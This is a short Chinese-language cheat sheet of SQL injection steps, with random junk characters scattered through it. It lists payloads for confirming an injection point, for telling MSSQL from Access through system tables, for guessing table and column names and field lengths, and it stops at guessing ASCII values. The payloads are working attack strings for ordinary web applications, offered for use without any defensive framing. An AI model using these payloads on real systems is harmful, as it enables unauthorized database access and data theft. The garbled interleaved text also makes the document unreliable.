1.判断是否有注入;and 1=1 ;and 1=2 B6M+mx"G
2.初步判断是否是mssql ;and user>0 Y`ihi,s`H
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3.注入参数是字符'and [查询条件] and ''=' D$r
Uid
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' P,z:Z|}8
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5.判断数据库系统 \
v2H^j/
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;and (select count(*) from sysobjects)>0 mssql LR&_2e^[
m5c&&v6%"b
;and (select count(*) from msysobjects)>0 access pbBoy+.>
{|<"C?
T3,1m=S
K`6z&*
6.猜数据库 ;and (select Count(*) from [数据库名])>0 :%4imgY`
Ngy=!g?Hk=
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 ~}ovuf=%
m,MSMw1p
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 dQ:cYNm
h #.N3o
9.(1)猜字段的ascii值(access) [c&